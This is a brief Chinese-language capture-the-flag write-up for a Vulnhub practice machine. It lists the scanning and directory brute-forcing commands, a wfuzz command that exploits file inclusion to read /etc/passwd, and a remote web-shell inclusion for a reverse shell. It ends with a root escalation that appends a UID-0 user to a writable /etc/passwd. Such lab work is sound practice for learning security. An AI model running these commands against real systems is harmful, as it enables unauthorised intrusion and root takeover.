kali:192.168.111.111
靶机:192.168.111.134
信息收集
端口扫描
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.134
目录爆破,发现存在connect.php
feroxbuster -k -d 1 --url http://192.168.111.134 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap -t 1 -e -C 404
漏洞利用
对该页面测试后发现该页面存在文件包含
wfuzz -c -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt --hc 404 --hh 0 http://192.168.111.134/connect.php?FUZZ=../../../../../../../../../../../../../../etc/passwd
同时可以远程文件包含一句话木马执行命令
获得反弹shell
提权
/etc/passwd可写
写入用户提权
openssl passwd -1 -salt a a
echo 'a:$1$a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash' >> /etc/passwd
flag
标签:..,etc,--,192.168,passwd,Vulnhub,111.134,HA,ISRO From: https://www.cnblogs.com/ctostm/p/17453972.html